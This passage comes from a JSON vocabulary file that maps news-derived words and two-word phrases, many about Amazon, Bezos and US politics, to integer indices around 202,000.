201989,\n  \"madison\": 201990,\n  \"better transportation\": 201991,\n  \"pulses\": 201992,\n  \"don pay\": 201993,\n  \"production reduce\": 201994,\n  \"power concentration\": 201995,\n  \"subsequent stock\": 201996,\n  \"dame cathedral\": 201997,\n  \"representatives received\": 201998,\n  \"davis director\": 201999,\n  \"series published\": 202000,\n  \"veteran novelty\": 202001,\n  \"depicted puckering\": 202002,\n  \"including fedex\": 202003,\n  \"hampshire alaska\": 202004,\n  \"saving medication\": 202005,\n  \"jann mardenborough\": 202006,\n  \"justice neil\": 202007,\n  \"court jesters\": 202008,\n  \"audio accessories\": 202009,\n  \"unconstitutional previously\": 202010,\n  \"deleterious effects\": 202011,\n  \"tech owner\": 202012,\n  \"punishing subordinates\": 202013,\n  \"missed wall\": 202014,\n  \"pepper tribe\": 202015,\n  \"financial sponsors\": 202016,\n  \"example state\": 202017,\n  \"opinions think\": 202018,\n  \"interfered\": 202019,\n  \"does double\": 202020,\n  \"transmitting\": 202021,\n  \"repeatedly derided\": 202022,\n  \"streets study\": 202023,\n  \"routs\": 202024,\n  \"dltr\": 202025,\n  \"bezos president\": 202026,\n  \"bitterness\": 202027,\n  \"site writer\": 202028,\n  \"mailing packages\": 202029,\n  \"bush response\": 202030,\n  \"cnn live\": 202031,\n  \"enmeshes personal\": 202032,\n  \"distant housing\": 202033,\n  \"weight stock\": 202034,\n  \"carrey reunites\": 202035,\n  \"kingdom canada\": 202036,\n  \"disparity\": 202037,\n  \"reportedly hopes\": 202038,\n  \"posthumous 2015\": 202039,\n  \"aimee\": 202040,\n  \"city ocasio\": 202041,\n  \"vatican\": 202042,\n  \"slowdown goldman\": 202043,\n  \"hillsides\": 202044,\n  \"restaurants inspired\": 202045,\n  \"votes needed\": 202046,\n  \"amazon looked\": 202047,\n  \"overseeing business\": 202048,\n  \"profitability senior\": 202049,\n  \"year study\": 202050,\n  \"biden versus\": 202051,\n  \"tax proposal\": 202052,\n  \"threaten thousands\": 202053,\n  \"downward projections\": 202054,\n  \"seats facebook\": 202055,\n  \"data reactid\": 202056,\n  \"opened winner\": 202057,\n  \"technology partners\": 202058,\n  \"programming market\": 202059,\n  \"graf jr\": 202060,\n  \"remarkable job\": 202061,\n  \"christchurch\": 202062,\n  \"unsparing plot\": 202063,\n  \"president kill\": 202064,\n  \"start business\": 202065,\n  \"hesitant\": 202066,\n  \"crashes\": 202067,\n  \"longtime source\": 202068,\n  \"190\": 202069,\n  \"presidential debate\": 202070,\n  \"email read\": 202071,\n  \"fox combination\": 202072,\n  \"midwest start\": 202073,\n  \"consciously\": 202074,\n  \"chinese investments\": 202075,\n  \"black residents\": 202076,\n  \"kingdom called\": 202077,\n  \"earlier short\": 202078,\n  \"art dealer\": 202079,\n  \"fosters continued\": 202080,\n  \"melody\": 202081,\n  \"p6 writeln\": 202082,\n  \"mercedes benz\": 202083,\n  \"single engine\": 202084,\n  \"patricia netflix\": 202085,\n  \"giant anchored\": 202086,\n  \"giants mirrors\": 202087,\n  \"fedex fdx\": 202088,\n  \"finds help\": 202089,\n  \"risk activity\": 202090,\n  \"perfect world\": 202091,\n  \"purchasing potential\": 202092,\n  \"record day\": 202093,\n  \"drug gangs\": 202094,\n  \"independent researcher\": 202095,\n  \"covers fedex\": 202096,\n  \"2f13\": 202097,\n  \"minions\": 202098,\n  \"election snopes\": 202099,\n  \"slut\": 202100,\n  \"2009 strong\": 202101,\n  \"mail volumes\": 202102,\n  \"book stands\": 202103,\n  \"breaching antitrust\": 202104,\n  \"amazon karamo\": 202105,\n  \"delia owen\": 202106,\n  \"soften huawei\": 202107,\n  \"kashfia kabir\": 202108,\n  \"disasters flying\": 202109,\n  \"wrought\": 202110,\n  \"reflective\": 202111,\n  \"experience including\": 202112,\n  \"office jim\": 202113,\n  \"isabelle\": 202114,\n  \"ied\": 202115,\n  \"switched\": 202116,\n  \"successful acquisition\": 202117,\n  \"concerned right\": 202118,\n  \"price painter\": 202119,\n  \"law lying\": 202120,\n  \"companies long\": 202121,\n  \"leverage amazon\": 202122,\n  \"amzn norris\": 202123,\n  \"sprawling complex\": 202124,\n  \"bipartisan source\": 202125,\n  \"approximately\": 202126,\n  \"dollars news\": 202127,\n  \"ron depasquale\": 202128,\n  \"stern offers\": 202129,\n  \"low risk\": 202130,\n  \"powerpoints\": 202131,\n  \"business versus\": 202132,\n  \"staggeringly\": 202133,\n  \"sanders speaks\": 202134,\n  \"best heart\": 202135,\n  \"giving tax\": 202136,\n  \"amazon alleged\": 202137,\n  \"mobile app\": 202138,\n  \"sanchez dana\": 202139,\n  \"domestic mailers\": 202140,\n  \"seemingly heartfelt\": 202141,\n  \"butina asked\": 202142,\n  \"distressed postal\": 202143,\n  \"imitation lists\": 202144,\n  \"r4ee q6\": 202145,\n  \"lynnwood\": 202146,\n  \"utterly fail\": 202147,\n  \"trading desk\": 202148,\n  \"history miriam\": 202149,\n  \"boundary busting\": 202150,\n  \"test florida\": 202151,\n  \"wikileaks comments\": 202152,\n  \"contributor liz\": 202153,\n  \"jawad\": 202154,\n  \"energy source\": 202155,\n  \"paint picture\": 202156,\n  \"board determined\": 202157,\n  \"trump praising\": 202158,\n  \"conce\": 202159,\n  \"illegally trump\": 202160,\n  \"resistance conservative\": 202161,\n  \"2f 2fwww\": 202162,\n  \"red hot\": 202163,\n  \"company streaming\": 202164,\n  \"youtube subscribers\": 202165,\n  \"want fortnite\": 202166,\n  \"hanoi hilton\": 202167,\n  \"reach\": 202168,\n  \"market new\": 202169,\n  \"industry expert\": 202170,\n  \"transparently\": 202171,\n  \"electronic gadgets\": 202172,\n  \"nexstar broadcasting\": 202173,\n  \"brandishing lantern\": 202174,\n  \"mexico fbi\": 202175,\n  \"announced early\": 202176,\n  \"meet vladimir\": 202177,\n  \"bydemocrats\": 202178,\n  \"care medication\": 202179,\n  \"essential increases\": 202180,\n  \"changing increasingly\": 202181,\n  \"sportsbook\": 202182,\n  \"ugh\": 202183,\n  \"thousand reviews\": 202184,\n  \"disruptor amazon\": 202185,\n  \"waters notably\": 202186,\n  \"cheap rewards\": 202187,\n  \"house freshmen\": 202188,\n  \"shannon\": 202189,\n  \"sad responses\": 202190,\n  \"explore mars\": 202191,\n  \"independent entrepreneurs\": 202192,\n  \"limiting donor\": 202193,\n  \"stretch limousines\": 202194,\n  \"tweet bashing\": 202195,\n  \"sales sellers\": 202196,\n  \"kaper\": 202197,\n  \"awarded half\": 202198,\n  \"deer lands\": 202199,\n  \"migrant dies\": 202200,\n  \"big moment\": 202201,\n  \"parker american\": 202202,\n  \"gemmy\": 202203,\n  \"bot activity\": 202204,\n  \"political hierarchy\": 202205,\n  \"behemoth tech\": 202206,\n  \"kickers psa\": 202207,\n  \"slowing demand\": 202208,\n  \"tv network\": 202209,\n  \"sustainable frankly\": 202210,\n  \"longtime devotees\": 202211,\n  \"cloudy\": 202212,\n  \"common currency\": 202213,\n  \"conditions unsafe\": 202214,\n  \"digital reading\": 202215,\n  \"stop counting\": 202216,\n  \"intimidating actions\": 202217,\n  \"accomplish indirectly\": 202218,\n  \"house experience\": 202219,\n  \"blackmail virginia\": 202220,\n  \"community safe\": 202221,\n  \"post editor\": 202222,\n  \"survive despite\": 202223,\n  \"discusses yesterday\": 202224,\n  \"1270x734 getty_173218731_200015422000928060_388160\": 202225,\n  \"huge corporations\": 202226,\n  \"marketing effort\": 202227,\n  \"palantir pays\": 202228,\n  \"amazon places\": 202229,\n  \"industry leading\": 202230,\n  \"malouf\": 202231,\n  \"landmark deal\": 202232,\n  \"999\": 202233,\n  \"rod watson\": 202234,\n  \"duty drive\": 202235,\n  \"graphics bbgvisualdata\": 202236,\n  \"days reagan\": 202237,\n  \"recent government\": 202238,\n  \"addressed\": 202239,\n  \"signaling safety\": 202240,\n  \"trump sound\": 202241,\n  \"genomic\": 202242,\n  \"future lobbying\": 202243,\n  \"preservation fan\": 202244,\n  \"collapse throws\": 202245,\n  \"tweet dubbing\": 202246,\n  \"new homeless\": 202247,\n  \"ban trump\": 202248,\n  \"union representing\": 202249,\n  \"gallus obert\": 202250,\n  \"beals\": 202251,\n  \"college town\": 202252,\n  \"fargo instead\": 202253,\n  \"million capital\": 202254,\n  \"month hopefully\": 202255,\n  \"000 businesses\": 202256,\n  \"american horror\": 202257,\n  \"rutger\": 202258,\n  \"amazon increased\": 202259,\n  \"wanna bet\": 202260,\n  \"bibulous\": 202261,\n  \"york upstate\": 202262,\n  \"regularly publishes\": 202263,\n  \"services targets\": 202264,\n  \"associate site\": 202265,\n  \"shred economics\": 202266,\n  \"steadfast\": 202267,\n  \"rucker quickly\": 202268,\n  \"post recode\": 202269,\n  \"loss bloomberg\": 202270,\n  \"hq2 publicity\": 202271,\n  \"403 people\": 202272,\n  \"hr leader\": 202273,\n  \"buds\": 202274,\n  \"major headline\": 202275,\n  \"laurie trustee\": 202276,\n  \"eastern outpost\": 202277,\n  \"retain marjory\": 202278,\n  \"firm investors\": 202279,\n  \"defends right\": 202280,\n  \"reduced illegal\": 202281,\n  \"derby\": 202282,\n  \"nova area\": 202283,\n  \"image bu\": 202284,\n  \"website infowars\": 202285,\n  \"leave bad\": 202286,\n  \"amazon dismissed\": 202287,\n  \"surcharge\": 202288,\n  \"influential software\": 202289,\n  \"management provider\": 202290,\n  \"pensions minister\": 202291,\n  \"won make\": 202292,\n  \"provide scale\": 202293,\n  \"tom suozzi\": 202294,\n  \"using windows\": 202295,\n  \"duck laws\": 202296,\n  \"caters\": 202297,\n  \"search customers\": 202298,\n  \"stephanopoulos directly\": 202299,\n  \"just windfall\": 202300,\n  \"term thinking\": 202301,\n  \"fournier political\": 202302,\n  \"products ordered\": 202303,\n  \"members spend\": 202304,\n  \"tech cabal\": 202305,\n  \"spain according\": 202306,\n  \"killing small\": 202307,\n  \"troubling link\": 202308,\n  \"toronto addressing\": 202309,\n  \"cult favorite\": 202310,\n  \"mcdaniel tom\": 202311,\n  \"obtained semi\": 202312,\n  \"blame commercial\": 202313,\n  \"yesterday sought\": 202314,\n  \"funny moment\": 202315,\n  \"surroundings\": 202316,\n  \"staff told\": 202317,\n  \"tornadoes kelly\": 202318,\n  \"anonymity michael\": 202319,\n  \"defuse source\": 202320,\n  \"company mission\": 202321,\n  \"new charitable\": 202322,\n  \"2005 read\": 202323,\n  \"shelley moore\": 202324,\n  \"territory asking\": 202325,\n  \"queen kim\": 202326,\n  \"sales surge\": 202327,\n  \"make robocalls\": 202328,\n  \"candidates focus\": 202329,\n  \"slather sunscreen\": 202330,\n  \"bookshops\": 202331,\n  \"retail writers\": 202332,\n  \"beijing struck\": 202333,\n  \"amazon groceries\": 202334,\n  \"2018 barclays\": 202335,\n  \"agricultural goods\": 202336,\n  \"t5q apply\": 202337,\n  \"8217\": 202338,\n  \"homelandsecurity department\": 202339,\n  \"transformer price\": 202340,\n  \"fact taken\": 202341,\n  \"city rental\": 202342,\n  \"writes tim\": 202343,\n  \"hugh mccoll\": 202344,\n  \"lexi\": 202345,\n  \"read kellyanne\": 202346,\n  \"2026 silver\": 202347,\n  \"hegemony amazon\": 202348,\n  \"overrides\": 202349,\n  \"media narrative\": 202350,\n  \"selling groceries\": 202351,\n  \"threatening 150\": 202352,\n  \"chicago michael\": 202353,\n  \"perfect storm\": 202354,\n  \"maher pits\": 202355,\n  \"health diving\": 202356,\n  \"oppose raising\": 202357,\n  \"claims run\": 202358,\n  \"defended lucas\": 202359,\n  \"exception\": 202360,\n  \"furnishings lifting\": 202361,\n  \"post maybe\": 202362,\n  \"playwright mike\": 202363,\n  \"states russian\": 202364,\n  \"includes stock\": 202365,\n  \"stocks look\": 202366,\n  \"office plus\": 202367,\n  \"dear editor\": 202368,\n  \"different servers\": 202369,\n  \"000 sellers\": 202370,\n  \"billion settlement\": 202371,\n  \"2018 small\": 202372,\n  \"amid nascent\": 202373,\n  \"heroin turkey\": 202374,\n  \"43285\": 202375,\n  \"expressing concern\": 202376,\n  \"heavily\": 202377,\n  \"trading yahoo\": 202378,\n  \"blueprint authorizing\": 202379,\n  \"school fees\": 202380,\n  \"released early\": 202381,\n  \"corporate market\": 202382,\n  \"using antitrust\": 202383,\n  \"receiving benefits\": 202384,\n  \"tight job\": 202385,\n  \"ramped\": 202386,\n  \"lead jennifer\": 202387,\n  \"academic program\": 202388,\n  \"blue pigment\": 202389,\n  \"rivers roads\": 202390,\n  \"trump figure\": 202391,\n  \"nabbing\": 202392,\n  \"reported quarter\": 202393,\n  \"amazon pricing\": 202394,\n  \"difference fact\": 202395,\n  \"make better\": 202396,\n  \"crime fighters\": 202397,\n  \"corp slingbox\": 202398,\n  \"leading monopolist\": 202399,\n  \"hearings 1535999249\": 202400,\n  \"wins california\": 202401,\n  \"shows 2018\": 202402,\n  \"london bomb\": 202403,\n  \"reads adding\": 202404,\n  \"nipple\": 202405,\n  \"joyfully lifted\": 202406,\n  \"change second\": 202407,\n  \"starbucks business\": 202408,\n  \"prosecutor hired\": 202409,\n  \"mixed welcome\": 202410,\n  \"sexted sent\": 202411,\n  \"denouncer\": 202412,\n  \"caller discussing\": 202413,\n  \"legal team\": 202414,\n  \"rights risk\": 202415,\n  \"weird choice\": 202416,\n  \"stop outsourcing\": 202417,\n  \"bias biased\": 202418,\n  \"sweatshop\": 202419,\n  \"6k\": 202420,\n  \"column trump\": 202421,\n  \"consistently blasted\": 202422,\n  \"instance highlights\": 202423,\n  \"ridiculous things\": 202424,\n  \"robs\": 202425,\n  \"enteprise\": 202426,\n  \"yikes\": 202427,\n  \"turnout surged\": 202428,\n  \"conforming\": 202429,\n  \"hasn kept\": 202430,\n  \"trillion amazon\": 202431,\n  \"confirmed wall\": 202432,\n  \"gop aligned\": 202433,\n  \"pedophile rings\": 202434,\n  \"amalgamated bank\": 202435,\n  \"pardon malaysian\": 202436,\n  \"lucia\": 202437,\n  \"contractually set\": 202438,\n  \"political factors\": 202439,\n  \"driver blaxploitation\": 202440,\n  \"hampshire survey\": 202441,\n  \"fairly big\": 202442,\n  \"envoy\": 202443,\n  \"howard zemsky\": 202444,\n  \"showtime anytime\": 202445,\n  \"wasn trolling\": 202446,\n  \"data machine\": 202447,\n  \"391\": 202448,\n  \"locations\": 202449,\n  \"het\": 202450,\n  \"person outfit\": 202451,\n  \"tru\": 202452,\n  \"regarding potential\": 202453,\n  \"movie produced\": 202454,\n  \"ugly surprise\": 202455,\n  \"pettersson\": 202456,\n  \"year jumped\": 202457,\n  \"wendy williams\": 202458,\n  \"eminently clear\": 202459,\n  \"socialism\": 202460,\n  \"area rabbis\": 202461,\n  \"ahead airline\": 202462,\n  \"brock\": 202463,\n  \"tiegs\": 202464,\n  \"including chase\": 202465,\n  \"early voters\": 202466,\n  \"dennis chair\": 202467,\n  \"videoid owl\": 202468,\n  \"rocketed\": 202469,\n  \"tld\": 202470,\n  \"orchestrate\": 202471,\n  \"times report\": 202472,\n  \"queens offers\": 202473,\n  \"oakmark funds\": 202474,\n  \"investment institute\": 202475,\n  \"calls small\": 202476,\n  \"created good\": 202477,\n  \"plagiarize\": 202478,\n  \"based harley\": 202479,\n  \"spans\": 202480,\n  \"2015 read\": 202481,\n  \"tiny elite\": 202482,\n  \"malaysian politician\": 202483,\n  \"footwear designer\": 202484,\n  \"mortar retailers\": 202485,\n  \"need help\": 202486,\n  \"state agreed\": 202487,\n  \"serial town\": 202488,\n  \"ardent\": 202489,\n  \"extension\": 202490,\n  \"managing editors\": 202491,\n  \"maintaining respect\": 202492,\n  \"associates including\": 202493,\n  \"tank told\": 202494,\n  \"800 square\": 202495,\n  \"shadow\": 202496,\n  \"sleep lying\": 202497,\n  \"starters\": 202498,\n  \"bezos conspiracy\": 202499,\n  \"increase consumer\": 202500,\n  \"weeks leave\": 202501,\n  \"143\": 202502,\n  \"units buildings\": 202503,\n  \"delivery arm\": 202504,\n  \"football player\": 202505,\n  \"company earlier\": 202506,\n  \"issues todd\": 202507,\n  \"writer living\": 202508,\n  \"weapon weiner\": 202509,\n  \"rogue amazon\": 202510,\n  \"warren recent\": 202511,\n  \"convinced trump\": 202512,\n  \"org 312\": 202513,\n  \"__source\": 202514,\n  \"bike trails\": 202515,\n  \"devitt recently\": 202516,\n  \"violence orders\": 202517,\n  \"denuclearization\": 202518,\n  \"albawaba european\": 202519,\n  \"doubt reassuring\": 202520,\n  \"nathan phillips\": 202521,\n  \"including competition\": 202522,\n  \"plan does\": 202523,\n  \"enquirer hit\": 202524,\n  \"corn\": 202525,\n  \"bezos bad\": 202526,\n  \"declining competition\": 202527,\n  \"carlson recently\": 202528,\n  \"line stein\": 202529,\n  \"fuel business\": 202530,\n  \"making amazon\": 202531,\n  \"intimate photos\": 202532,\n  \"04t21\": 202533,\n  \"including roseanne\": 202534,\n  \"human toll\": 202535,\n  \"florida despite\": 202536,\n  \"times using\": 202537,\n  \"dispense 525\": 202538,\n  \"nearest available\": 202539,\n  \"provider needs\": 202540,\n  \"continue expanding\": 202541,\n  \"city warren\": 202542,\n  \"haul goods\": 202543,\n  \"wheat farmers\": 202544,\n  \"chosen manhattan\": 202545,\n  \"hobo\": 202546,\n  \"pushing boulder\": 202547,\n  \"humorous\": 202548,\n  \"missing josh\": 202549,\n  \"publish revealing\": 202550,\n  \"bezos calmly\": 202551,\n  \"design mark\": 202552,\n  \"steep\": 202553,\n  \"mohamed ali\": 202554,\n  \"elder\": 202555,\n  \"euronext confident\": 202556,\n  \"publicly tied\": 202557,\n  \"aapl stock\": 202558,\n  \"cloud project\": 202559,\n  \"disincentive\": 202560,\n  \"political class\": 202561,\n  \"browsing\": 202562,\n  \"month dragging\": 202563,\n  \"foreign adversaries\": 202564,\n  \"big guns\": 202565,\n  \"delightful\": 202566,\n  \"appreciate president\": 202567,\n  \"claimed cost\": 202568,\n  \"snap amazon\": 202569,\n  \"distributor generated\": 202570,\n  \"synchronous\": 202571,\n  \"goals include\": 202572,\n  \"oil purchases\": 202573,\n  \"arrived home\": 202574,\n  \"including nooyi\": 202575,\n  \"great partners\": 202576,\n  \"ridiculously\": 202577,\n  \"extremely alarming\": 202578,\n  \"deficit sent\": 202579,\n  \"trumps stock\": 202580,\n  \"carrying\": 202581,\n  \"workers surveyed\": 202582,\n  \"politically\": 202583,\n  \"dip day\": 202584,\n  \"andrew restuccia\": 202585,\n  \"getting rid\": 202586,\n  \"duped\": 202587,\n  \"average technicals\": 202588,\n  \"trump acknowledged\": 202589,\n  \"magnuson winter\": 202590,\n  \"constant lobbying\": 202591,\n  \"restaurant chains\": 202592,\n  \"retail segment\": 202593,\n  \"slam dunk\": 202594,\n  \"vlastelica\": 202595,\n  \"post linking\": 202596,\n  \"really alarming\": 202597,\n  \"nextvideourl domain\": 202598,\n  \"complete product\": 202599,\n  \"krouse rosenthal\": 202600,\n  \"amazon wants\": 202601,\n  \"gass\": 202602,\n  \"palantir hewlett\": 202603,\n  \"blockbuster albeit\": 202604,\n  \"weren based\": 202605,\n  \"china second\": 202606,\n  \"rich guy\": 202607,\n  \"inflows\": 202608,\n  \"lilia\": 202609,\n  \"employees live\": 202610,\n  \"delayed presidential\": 202611,\n  \"accelerate\": 202612,\n  \"trump backyard\": 202613,\n  \"jtalton\": 202614,\n  \"thouss\": 202615,\n  \"teachers rubenstein\": 202616,\n  \"republicans retain\": 202617,\n  \"bezos reported\": 202618,\n  \"don count\": 202619,\n  \"284 points\": 202620,\n  \"lesley\": 202621,\n  \"sucker\": 202622,\n  \"sluggish\": 202623,\n  \"carolina 9th\": 202624,\n  \"peasants began\": 202625,\n  \"midwest letter\": 202626,\n  \"trump reiterated\": 202627,\n  \"short answer\": 202628,\n  \"snowfall\": 202629,\n  \"romance speeds\": 202630,\n  \"amazon bosses\": 202631,\n  \"slowest pace\": 202632,\n  \"torrid text\": 202633,\n  \"repeal took\": 202634,\n  \"today herera\": 202635,\n  \"construction environmental\": 202636,\n  \"determine\": 202637,\n  \"australia months\": 202638,\n  \"300 direct\": 202639,\n  \"wants john\": 202640,\n  \"expectations job\": 202641,\n  \"background football\": 202642,\n  \"marielle heller\": 202643,\n  \"fast track\": 202644,\n  \"pharmacy benefits\": 202645,\n  \"shutdown consequences\": 202646,\n  \"pepsi\": 202647,\n  \"greer love\": 202648,\n  \"psychiatric drugs\": 202649,\n  \"world character\": 202650,\n  \"story estimates\": 202651,\n  \"government forte\": 202652,\n  \"publications trump\": 202653,\n  \"splc intolerance\": 202654,\n  \"job thomas\": 202655,\n  \"watch harvard\": 202656,\n  \"film provocateur\": 202657,\n  \"specific internet\": 202658,\n  \"gift multiple\": 202659,\n  \"publicly criticized\": 202660,\n  \"departs\": 202661,\n  \"yang\": 202662,\n  \"stuff\": 202663,\n  \"offering cost\": 202664,\n  \"increasingly pricing\": 202665,\n  \"new routines\": 202666,\n  \"chip away\": 202667,\n  \"emails offer\": 202668,\n  \"founder digital\": 202669,\n  \"falsely accused\": 202670,\n  \"carley\": 202671,\n  \"jeff annual\": 202672,\n  \"1hlkltf\": 202673,\n  \"jeopardized\": 202674,\n  \"pictures jeff\": 202675,\n  \"mother heads\": 202676,\n  \"funding payments\": 202677,\n  \"figure attending\": 202678,\n  \"oregon says\": 202679,\n  \"empire iconimageurl\": 202680,\n  \"teachers\": 202681,\n  \"won governorships\": 202682,\n  \"smith gives\": 202683,\n  \"garofolo\": 202684,\n  \"unjustified attacks\": 202685,\n  \"center seriously\": 202686,\n  \"midterm wins\": 202687,\n  \"utm_campaign\": 202688,\n  \"item purchased\": 202689,\n  \"government shares\": 202690,\n  \"plan seth\": 202691,\n  \"oversold\": 202692,\n  \"online presence\": 202693,\n  \"gotten media\": 202694,\n  \"sector david\": 202695,\n  \"aatish\": 202696,\n  \"important masters\": 202697,\n  \"hogan won\": 202698,\n  \"guns ahead\": 202699,\n  \"department store\": 202700,\n  \"deal collapsed\": 202701,\n  \"war fedex\": 202702,\n  \"debonis\": 202703,\n  \"issue countless\": 202704,\n  \"house white\": 202705,\n  \"orleans food\": 202706,\n  \"quality preschools\": 202707,\n  \"price 1p\": 202708,\n  \"girls western\": 202709,\n  \"jquery carousel\": 202710,\n  \"scripts national\": 202711,\n  \"petition asking\": 202712,\n  \"overall turnover\": 202713,\n  \"brian sozzi\": 202714,\n  \"howard appeared\": 202715,\n  \"cheered\": 202716,\n  \"untraceable ammunition\": 202717,\n  \"cities begged\": 202718,\n  \"25th amendment\": 202719,\n  \"investorplace media\": 202720,\n  \"visit travel\": 202721,\n  \"different spacious\": 202722,\n  \"years reuters\": 202723,\n  \"bolsonaro actions\": 202724,\n  \"allow discrimination\": 202725,\n  \"brian sold\": 202726,\n  \"eshbach\": 202727,\n  \"pic seattle\": 202728,\n  \"amazon pursuit\": 202729,\n  \"particular attention\": 202730,\n  \"post owner\": 202731,\n  \"severe allergic\": 202732,\n  \"sears catalog\": 202733,\n  \"simply say\": 202734,\n  \"hilariously identified\": 202735,\n  \"marketing stunt\": 202736,\n  \"labour antitrust\": 202737,\n  \"received food\": 202738,\n  \"appointed commission\": 202739,\n  \"congratulatory phone\": 202740,\n  \"certain area\": 202741,\n  \"clearly gamed\": 202742,\n  \"tech going\": 202743,\n  \"goody pr\": 202744,\n  \"version 2019\": 202745,\n  \"shares state\": 202746,\n  \"american skater\": 202747,\n  \"daughter lyla\": 202748,\n  \"raising local\": 202749,\n  \"crashing\": 202750,\n  \"primary source\": 202751,\n  \"story msnbc\": 202752,\n  \"west\": 202753,\n  \"articles meet\": 202754,\n  \"potter books\": 202755,\n  \"quarter profits\": 202756,\n  \"upcoming 790\": 202757,\n  \"county frequently\": 202758,\n  \"imports soar\": 202759,\n  \"containerclassid parents\": 202760,\n  \"joe gould\": 202761,\n  \"anticonservative bias\": 202762,\n  \"capitalism needs\": 202763,\n  \"states requests\": 202764,\n  \"letters bills\": 202765,\n  \"agencies working\": 202766,\n  \"grumpy old\": 202767,\n  \"independent contractor\": 202768,\n  \"meant don\": 202769,\n  \"course according\": 202770,\n  \"federal firing\": 202771,\n  \"asks court\": 202772,\n  \"different views\": 202773,\n  \"based purely\": 202774,\n  \"economic activity\": 202775,\n  \"fantasy\": 202776,\n  \"compendium\": 202777,\n  \"model karen\": 202778,\n  \"city hosted\": 202779,\n  \"expressly conservative\": 202780,\n  \"amazon overseas\": 202781,\n  \"distinct company\": 202782,\n  \"charleston south\": 202783,\n  \"tweet early\": 202784,\n  \"arsht\": 202785,\n  \"kerlinger winston\": 202786,\n  \"favorite brand\": 202787,\n  \"michael beschloss\": 202788,\n  \"gem nearly\": 202789,\n  \"declared\": 202790,\n  \"trump assault\": 202791,\n  \"basic things\": 202792,\n  \"job posting\": 202793,\n  \"elf\": 202794,\n  \"holding frequent\": 202795,\n  \"tweets election\": 202796,\n  \"content buys\": 202797,\n  \"chessy\": 202798,\n  \"campus near\": 202799,\n  \"riese\": 202800,\n  \"subsidy\": 202801,\n  \"graham graham\": 202802,\n  \"republicans claim\": 202803,\n  \"age possible\": 202804,\n  \"steven bradbury\": 202805,\n  \"revitalize struggling\": 202806,\n  \"coms bezos\": 202807,\n  \"terminals phil\": 202808,\n  \"directions maybe\": 202809,\n  \"mackenzie looked\": 202810,\n  \"shot commercial\": 202811,\n  \"wares directly\": 202812,\n  \"presidency ig\": 202813,\n  \"china\": 202814,\n  \"business deregulation\": 202815,\n  \"federal prosecutorial\": 202816,\n  \"democrat candidates\": 202817,\n  \"source thehollywoodgossip\": 202818,\n  \"corporate headquarters\": 202819,\n  \"patrick donahoe\": 202820,\n  \"think know\": 202821,\n  \"massive payout\": 202822,\n  \"culprit\": 202823,\n  \"times bs_bullet_primary\": 202824,\n  \"news senator\": 202825,\n  \"btw\": 202826,\n  \"ibd composite\": 202827,\n  \"supposedly obtained\": 202828,\n  \"luckin\": 202829,\n  \"data location\": 202830,\n  \"consumers lives\": 202831,\n  \"public longstanding\": 202832,\n  \"billionaire tycoon\": 202833,\n  \"northwest iowa\": 202834,\n  \"broke hours\": 202835,\n  \"16bn\": 202836,\n  \"analysts conflated\": 202837,\n  \"rain soaked\": 202838,\n  \"board balked\": 202839,\n  \"strong results\": 202840,\n  \"previously jointly\": 202841,\n  \"reactid 184\": 202842,\n  \"talking billions\": 202843,\n  \"foreign actors\": 202844,\n  \"large shoppers\": 202845,\n  \"sessions picks\": 202846,\n  \"defense spending\": 202847,\n  \"country peddling\": 202848,\n  \"rebecca ballhaus\": 202849,\n  \"adjusted diluted\": 202850,\n  \"little secret\": 202851,\n  \"senior employees\": 202852,\n  \"region albawaba\": 202853,\n  \"agricultural possibilities\": 202854,\n  \"historians\": 202855,\n  \"sears wants\": 202856,\n  \"hoda\": 202857,\n  \"political talk\": 202858,\n  \"victory tweet\": 202859,\n  \"civilian life\": 202860,\n  \"offers lg\": 202861,\n  \"pre pay\": 202862,\n  \"legislation included\": 202863,\n  \"gifted\": 202864,\n  \"build case\": 202865,\n  \"storm weary\": 202866,\n  \"called anti\": 202867,\n  \"include consumable\": 202868,\n  \"humiliating spectacles\": 202869,\n  \"serves america\": 202870,\n  \"division unfettered\": 202871,\n  \"ecco\": 202872,\n  \"forecast\": 202873,\n  \"tell technology\": 202874,\n  \"cape invited\": 202875,\n  \"calgaryherald forbes\": 202876,\n  \"american families\": 202877,\n  \"main driver\": 202878,\n  \"500 business\": 202879,\n  \"deter drug\": 202880,\n  \"primer\": 202881,\n  \"leigh\": 202882,\n  \"emergencying\": 202883,\n  \"copays\": 202884,\n  \"canine\": 202885,\n  \"privately quarles\": 202886,\n  \"unicorn jumping\": 202887,\n  \"child tax\": 202888,\n  \"talented people\": 202889,\n  \"onthe\": 202890,\n  \"wagealso eliminates\": 202891,\n  \"improved public\": 202892,\n  \"katie\": 202893,\n  \"pay tribute\": 202894,\n  \"report offers\": 202895,\n  \"magazine kurt\": 202896,\n  \"mggtecrzst mijente\": 202897,\n  \"following recent\": 202898,\n  \"foray\": 202899,\n  \"price concessions\": 202900,\n  \"mccain did\": 202901,\n  \"jpg channelhash\": 202902,\n  \"mueller questions\": 202903,\n  \"vanished\": 202904,\n  \"partners telemarketing\": 202905,\n  \"pinterest shares\": 202906,\n  \"ambassador amazonfcphil\": 202907,\n  \"getty brands\": 202908,\n  \"recognition contracts\": 202909,\n  \"quarter forecast\": 202910,\n  \"entrenched\": 202911,\n  \"tumbled\": 202912,\n  \"executive departure\": 202913,\n  \"177 billion\": 202914,\n  \"underlying\": 202915,\n  \"megacorporations humiliated\": 202916,\n  \"photo identity\": 202917,\n  \"kill amazon\": 202918,\n  \"ebay currently\": 202919,\n  \"new da\": 202920,\n  \"factory closures\": 202921,\n  \"trump fighting\": 202922,\n  \"consumers large\": 202923,\n  \"practices ami\": 202924,\n  \"brown observations\": 202925,\n  \"lost trump\": 202926,\n  \"quash\": 202927,\n  \"helped introduce\": 202928,\n  \"administration knows\": 202929,\n  \"mean taxes\": 202930,\n  \"busy earnings\": 202931,\n  \"amazon acquisitions\": 202932,\n  \"reactid 178\": 202933,\n  \"popsicle scented\": 202934,\n  \"bumps\": 202935,\n  \"gift 2018\": 202936,\n  \"average box\": 202937,\n  \"plain underwear\": 202938,\n  \"bezos changes\": 202939,\n  \"publication regularly\": 202940,\n  \"359\": 202941,\n  \"stocks 2018\": 202942,\n  \"recall submitting\": 202943,\n  \"ami lawyers\": 202944,\n  \"million madonna\": 202945,\n  \"amazon fully\": 202946,\n  \"sellers beneath\": 202947,\n  \"curious hero\": 202948,\n  \"eked\": 202949,\n  \"amazon sheer\": 202950,\n  \"survive think\": 202951,\n  \"event web\": 202952,\n  \"cut tamp\": 202953,\n  \"mohawk inds\": 202954,\n  \"tooth\": 202955,\n  \"fafillion shabolubalu\": 202956,\n  \"pictures bloomberg\": 202957,\n  \"clean foods\": 202958,\n  \"color spray\": 202959,\n  \"undatable\": 202960,\n  \"bezos presidential\": 